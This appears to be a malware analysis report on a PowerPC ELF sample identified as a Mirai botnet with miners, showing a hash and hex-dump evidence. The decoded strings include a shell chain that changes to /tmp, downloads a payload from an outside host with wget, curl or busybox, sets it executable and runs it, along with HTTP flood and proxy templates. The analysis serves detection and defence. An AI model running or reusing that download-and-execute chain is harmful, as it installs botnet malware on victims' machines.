powerpc-440fp.elf
Mirai botnet with C2 and miners
Miner payload staged with boot persistenceNative binary embeds a download, chmod, and execute chain
SHA-256b7608d9f961782105ba7fa730fde42e5c6e21d56da7021ce67631dd0d82d82e1
Evidence
⋯3 more rows
0x5841c4e8000209421ffe07c0802a690610008N.. .!..|....a..
0x5842c386000039081000c38810008900100248`......8......$
0x5843c90a100104800201d8001002438210020....H. ....$8!.
⋯7 more rows
⋯3 more rows
0x584f04e8000209421ffe07c0802a690610008N.. .!..|....a..
0x585003860000a9081000c38810008900100248`......8......$
0x5851090a1001090c1001448001f4580010024........H..E...$
⋯7 more rows
⋯3 more rows
0x586b44e8000209421ffe07c0802a690610008N.. .!..|....a..
0x586c4386000019081000c38810008900100248`......8......$
0x586d490a1001048001d858001002438210020....H......$8!.
⋯7 more rows
⋯3 more rows
0x63eac616172636836340061726d3634000000aarch64.arm64...
0x63ebc6d697073000000006d697073656c0000mips....mipsel..
0x63ecc70706300706f77657270630073683400ppc.powerpc.sh4.
0x63edc7838365f36340000616d643634000000x86_64..amd64...
0x63eec69363836000000006933383600000000i686....i386....
0x63efc61726d76376c0000783836006364202farmv7l..x86.cd /
0x63f0c746d703b753d687474703a2f2f77656dtmp;u=http://wem
0x63f1c716d65776b716577712e776f726b2e67qmewkqewq.work.g
0x63f2c643b20613d25733b202877676574202dd; a=%s; (wget -
0x63f3c71202d4f20712024752f24617c7c6375q -O q $u/$a||cu
0x63f4c726c202d736b4c6f20712024752f2461rl -skLo q $u/$a
0x63f5c7c7c62757379626f782077676574202d||busybox wget -
0x63f6c71202d4f20712024752f2461293b2063q -O q $u/$a); c
0x63f7c686d6f6420373737207120323e2f6465hmod 777 q 2>/de
0x63f8c762f6e756c6c3b202e2f712076707320v/null; ./q vps
0x63f9c260d0a00636174202f70726f632f6370&...cat /proc/cp
0x63fac75696e666f20323e2f6465762f6e756cuinfo 2>/dev/nul
0x63fbc6c7c68656164202d310d0a00756e616dl|head -1...unam
0x63fcc65202d6d0d0a0000252e313230732025e -m....%.120s %
0x63fdc2e3132307300000061726d7637000000.120s...armv7...
0x63fec687474703a2f2f00736f636b73353a2fhttp://.socks5:/
0x63ffc2f000000736f636b73343a2f2f000000/...socks4://...
0x6400c434f4e4e4543542025752e25752e2575CONNECT %u.%u.%u
0x6401c2e25753a257520485454502f312e310d.%u:%u HTTP/1.1.
0x6402c0a486f73743a2025752e25752e25752e.Host: %u.%u.%u.
⋯4 more rows
0x6407c48454144000000004f5054494f4e5300HEAD....OPTIONS.
0x6408c50555400504154434800000044454c45PUT.PATCH...DELE
0x6409c54450000474554002573202f25732f25TE..GET.%s /%s/%
0x640ac753f763d257520485454502f312e310du?v=%u HTTP/1.1.
⋯12 more rows
⋯3 more rows
0x700803139312e302e34373a34313435000000191.0.47:4145...
0x700904d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x700a0646f7773204e542031302e303b205769dows NT 10.0; Wi
0x700b06e36343b2078363429204170706c6557n64; x64) AppleW
0x700c065624b69742f3533372e333620284b48ebKit/537.36 (KH
0x700d0544d4c2c206c696b65204765636b6f29TML, like Gecko)
0x700e0204368726f6d652f3132312e302e302e Chrome/121.0.0.
0x700f030205361666172692f3533372e3336000 Safari/537.36.
0x701004d6f7a696c6c612f352e30202857696eMozilla/5.0 (Win
0x70110646f7773204e542031302e303b205769dows NT 10.0; Wi
0x701206e36343b207836343b2072763a313232n64; x64; rv:122
0x701302e3029204765636b6f2f323031303031.0) Gecko/201001
0x7014030312046697265666f782f3132322e3001 Firefox/122.0
0x70150000000004d6f7a696c6c612f352e3020....Mozilla/5.0
0x70160284d6163696e746f73683b20496e7465(Macintosh; Inte
0x701706c204d6163204f5320582031305f3135l Mac OS X 10_15
0x701805f3729204170706c655765624b69742f_7) AppleWebKit/
0x701903533372e333620284b48544d4c2c206c537.36 (KHTML, l
0x701a0696b65204765636b6f29204368726f6dike Gecko) Chrom
0x701b0652f3132312e302e302e302053616661e/121.0.0.0 Safa
0x701c072692f3533372e33360000004d6f7a69ri/537.36...Mozi
0x701d06c6c612f352e3020285831313b204c69lla/5.0 (X11; Li
0x701e06e7578207838365f363429204170706cnux x86_64) Appl
0x701f0655765624b69742f3533372e33362028eWebKit/537.36 (
0x702004b48544d4c2c206c696b65204765636bKHTML, like Geck
0x702106f29204368726f6d652f3132312e302eo) Chrome/121.0.
0x70220302e30205361666172692f3533372e330.0 Safari/537.3
0x70230360000004d6f7a696c6c612f352e30206...Mozilla/5.0
0x70240286950686f6e653b2043505520695068(iPhone; CPU iPh
0x702506f6e65204f532031375f33206c696b65one OS 17_3 like
0x70260204d6163204f53205829204170706c65 Mac OS X) Apple
0x702705765624b69742f3630352e312e313520WebKit/605.1.15
0x70280284b48544d4c2c206c696b6520476563(KHTML, like Gec
0x702906b6f292056657273696f6e2f31372e32ko) Version/17.2
0x702a0204d6f62696c652f3135453134382053 Mobile/15E148 S
0x702b061666172692f3630342e31004d6f7a69afari/604.1.Mozi
0x702c06c6c612f352e3020284c696e75783b20lla/5.0 (Linux;
⋯5 more rows
0x70320696c65205361666172692f3533372e33ile Safari/537.3
0x70330360000002f746d702f71746d000000006.../tmp/qtm....
0x703402f746d702f6b7573686e657400000000/tmp/kushnet....